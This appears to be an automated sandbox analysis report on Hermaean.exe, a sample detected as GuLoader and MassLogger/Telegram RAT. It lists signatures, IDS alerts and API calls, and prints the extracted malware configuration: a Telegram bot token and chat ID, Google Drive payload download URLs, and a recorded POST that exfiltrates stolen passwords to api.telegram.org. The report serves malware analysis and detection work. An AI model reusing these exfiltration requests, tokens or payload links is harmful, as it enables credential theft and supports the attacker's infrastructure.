Edit tour

Windows Analysis Report
Hermaean.exe

Overview

General Information

Sample name:	Hermaean.exe
Analysis ID:	1617009
MD5:	a5350eaa7864ac06277c445e0f52f9d9
SHA1:	9a589f6dcbb0ee908a1665501b3e249a00c05db8
SHA256:	eab16fb9a96dba4a00c074dec9d6be01b5d93b680d69d230c21497fce96f9de5
Tags:	exeuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Hermaean.exe (PID: 3436 cmdline: "C:\Users\user\Desktop\Hermaean.exe" MD5: A5350EAA7864AC06277C445E0F52F9D9)

Hermaean.exe (PID: 2920 cmdline: "C:\Users\user\Desktop\Hermaean.exe" MD5: A5350EAA7864AC06277C445E0F52F9D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot8064131224:AAFmNYMbo3lhB_qXAgZHNTpxwkQ6BCP9UWY/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "8064131224:AAFmNYMbo3lhB_qXAgZHNTpxwkQ6BCP9UWY", "Telegram Chatid": "6900395692"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.3012907907.0000000035475000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000006.00000002.3012907907.0000000035475000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.3012907907.0000000035475000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.2244389028.00000000053A2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Hermaean.exe PID: 3436	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: Hermaean.exe PID: 2920	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: Hermaean.exe PID: 2920	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Hermaean.exe PID: 2920	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 3 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-17T12:43:34.089086+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49912	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-17T12:43:26.526487+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49864	132.226.247.73	80	TCP
2025-02-17T12:43:33.089059+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49864	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-17T12:43:20.434018+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49823	216.58.206.78	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-17T12:43:33.783477+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49912	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot8064131224:AAFmNYMbo3lhB_qXAgZHNTpxwkQ6BCP9UWY/sendDocument?chat_id=6900395692&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd4f1e65439e8eHost: api.telegram.orgContent-Length: 1088Connection: Keep-Alive

Source: Hermaean.exe, 00000006.00000002.3012907907.0000000035475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: Hermaean.exe, 00000006.00000002.3012907907.0000000035475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgd
Source: Hermaean.exe, 00000006.00000002.3012907907.00000000353A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: Hermaean.exe, 00000006.00000002.3012907907.00000000353A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comd
Source: Hermaean.exe, 00000006.00000002.3012907907.0000000035393000.00000004.00000800.00020000.00000000.sdmp, Hermaean.exe, 00000006.00000002.3012907907.00000000353A0000.00000004.00000800.00020000.00000000.sdmp, Hermaean.exe, 00000006.00000002.3012907907.0000000035475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Hermaean.exe, 00000006.00000002.3012907907.0000000035321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Hermaean.exe, 00000006.00000002.3012907907.00000000353A0000.00000004.00000800.00020000.00000000.sdmp, Hermaean.exe, 00000006.00000002.3012907907.0000000035475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/d
Source: Hermaean.exe, 00000006.00000002.3012907907.00000000353A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgd
Source: Hermaean.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Hermaean.exe, 00000006.00000002.3012907907.00000000353BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: Hermaean.exe, 00000006.00000002.3012907907.00000000353BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgd
Source: Hermaean.exe, 00000006.00000002.3012907907.0000000035321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Hermaean.exe, 00000006.00000002.3012907907.0000000035475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Hermaean.exe, 00000006.00000002.3012907907.0000000035475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Hermaean.exe, 00000006.00000002.3012907907.0000000035475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8064131224:AAFmNYMbo3lhB_qXAgZHNTpxwkQ6BCP9UWY/sendDocument?chat_id=6900
Source: Hermaean.exe, 00000006.00000003.2443074903.0000000004C62000.00000004.00000020.00020000.00000000.sdmp, Hermaean.exe, 00000006.00000003.2443162467.0000000004C62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004BE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004BE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/-4e5c-ae1f-9bc86c8e8c94
Source: Hermaean.exe, 00000006.00000002.2992727582.0000000006600000.00000004.00001000.00020000.00000000.sdmp, Hermaean.exe, 00000006.00000002.2992279228.0000000004C22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1du6OhkwMOVgv695pSCJPeCEIGpQS3l7K
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004C22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1du6OhkwMOVgv695pSCJPeCEIGpQS3l7Kk
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004BE8000.00000004.00000020.00020000.00000000.sdmp, Hermaean.exe, 00000006.00000002.2992279228.0000000004C3F000.00000004.00000020.00020000.00000000.sdmp, Hermaean.exe, 00000006.00000003.2443074903.0000000004C62000.00000004.00000020.00020000.00000000.sdmp, Hermaean.exe, 00000006.00000003.2443162467.0000000004C62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1du6OhkwMOVgv695pSCJPeCEIGpQS3l7K&export=download
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004BE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1du6OhkwMOVgv695pSCJPeCEIGpQS3l7K&export=download#
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004BE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1du6OhkwMOVgv695pSCJPeCEIGpQS3l7K&export=downloadE
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1du6OhkwMOVgv695pSCJPeCEIGpQS3l7K&export=downloadp
Source: Hermaean.exe, 00000006.00000002.3012907907.00000000353A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Hermaean.exe, 00000006.00000002.3012907907.00000000353A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Hermaean.exe, 00000006.00000002.3012907907.00000000353A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189d
Source: Hermaean.exe, 00000006.00000002.3012907907.00000000353A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189l
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833

Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.8:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.161:443 -> 192.168.2.8:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49912 version: TLS 1.2

Source: C:\Users\user\Desktop\Hermaean.exe

Code function: 1_2_004052D1 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,LdrInitializeThunk,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,LdrInitializeThunk,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,LdrInitializeThunk,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

1_2_004052D1

Source: C:\Users\user\Desktop\Hermaean.exe

Window created: window name: CLIPBRDWNDCLASS

Source: 00000006.00000002.3012907907.0000000035475000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "8064131224:AAFmNYMbo3lhB_qXAgZHNTpxwkQ6BCP9UWY", "Telegram Chatid": "6900395692"}
Source: Hermaean.exe.2920.6.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot8064131224:AAFmNYMbo3lhB_qXAgZHNTpxwkQ6BCP9UWY/sendMessage"}

Source: Hermaean.exe	Virustotal: Detection: 72%			Perma Link
Source: Hermaean.exe	ReversingLabs: Detection: 62%

Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35002270 CryptUnprotectData,		6_2_35002270
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35002990 CryptUnprotectData,		6_2_35002990

Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 1_2_0040276E FindFirstFileW,	1_2_0040276E
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 1_2_00405770 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	1_2_00405770
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 1_2_0040622B FindFirstFileW,FindClose,	1_2_0040622B
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_0040276E FindFirstFileW,	6_2_0040276E
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_00405770 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	6_2_00405770
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_0040622B FindFirstFileW,FindClose,	6_2_0040622B

Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 049D5782h	6_2_049D5366
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 049D51B9h	6_2_049D4F08
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 049D5782h	6_2_049D56AF
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500CC30h	6_2_3500C988
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 35001935h	6_2_350015F8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500EBD0h	6_2_3500E928
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500C7D8h	6_2_3500C530
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 35000FF1h	6_2_35000D48
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500F028h	6_2_3500ED80
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 35001449h	6_2_350011A0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500F480h	6_2_3500F1D8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500D088h	6_2_3500CDE0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500DEC8h	6_2_3500DC20
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500BAD0h	6_2_3500B828
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 350002E9h	6_2_35000040
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 35003EF8h	6_2_35003C50
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500E320h	6_2_3500E078
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500BF28h	6_2_3500BC80
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 35000741h	6_2_35000498
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500A0C0h	6_2_35009CA0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 35004350h	6_2_350040A8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500E778h	6_2_3500E4D0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500C380h	6_2_3500C0D8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 35000B99h	6_2_350008F0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500ADC8h	6_2_3500AB20
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 350031F0h	6_2_35002F48
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500B220h	6_2_3500AF78
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 35003648h	6_2_350033A0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500B678h	6_2_3500B3D0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 35003AA0h	6_2_350037F8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500F8D8h	6_2_3500F630
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500D4E0h	6_2_3500D238
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500A518h	6_2_3500A270
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500FD30h	6_2_3500FA88
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500D93Ah	6_2_3500D690
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 3500A970h	6_2_3500A6C8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 35002D98h	6_2_35002AF0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 353017FDh	6_2_35301620
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 35302187h	6_2_35301620
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then push 00000000h	6_2_35304E48
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_35301163
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_35301343
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	6_2_35305C56
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then push 00000000h	6_2_3530599E
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 35300740h	6_2_35300498
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then jmp 353002E8h	6_2_35300040
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_35300B20
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then mov ecx, 000003E8h	6_2_385D0898
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then mov ecx, 000003E8h	6_2_385D088F
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then push 00000000h	6_2_385DDBDF
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then push 00000000h	6_2_385DD088
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	6_2_385DD088

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49912 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49912 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot8064131224:AAFmNYMbo3lhB_qXAgZHNTpxwkQ6BCP9UWY/sendDocument?chat_id=6900395692&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd4f1e65439e8eHost: api.telegram.orgContent-Length: 1088Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1du6OhkwMOVgv695pSCJPeCEIGpQS3l7K HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1du6OhkwMOVgv695pSCJPeCEIGpQS3l7K&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49864 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49823 -> 216.58.206.78:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 1_2_00403358 EntryPoint,LdrInitializeThunk,#17,SetErrorMode,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,LdrInitializeThunk,GetCurrentProcess,ExitWindowsEx,ExitProcess,		1_2_00403358
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_00403358 EntryPoint,LdrInitializeThunk,#17,SetErrorMode,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,LdrInitializeThunk,GetCurrentProcess,ExitWindowsEx,ExitProcess,		6_2_00403358

Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 1_2_00404B0E	1_2_00404B0E
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 1_2_0040653D	1_2_0040653D
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_00404B0E	6_2_00404B0E
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_0040653D	6_2_0040653D
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_049D30FC	6_2_049D30FC
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_049D7E68	6_2_049D7E68
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_049D4F08	6_2_049D4F08
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_049D4EF8	6_2_049D4EF8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_049D7E66	6_2_049D7E66
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35004500	6_2_35004500
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500C988	6_2_3500C988
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_350015F8	6_2_350015F8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35007048	6_2_35007048
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35001C58	6_2_35001C58
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500E91E	6_2_3500E91E
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500C526	6_2_3500C526
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500E928	6_2_3500E928
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500C530	6_2_3500C530
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35000D39	6_2_35000D39
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35000D48	6_2_35000D48
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500ED70	6_2_3500ED70
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500C97A	6_2_3500C97A
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500ED80	6_2_3500ED80
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500118F	6_2_3500118F
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_350011A0	6_2_350011A0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500F1C8	6_2_3500F1C8
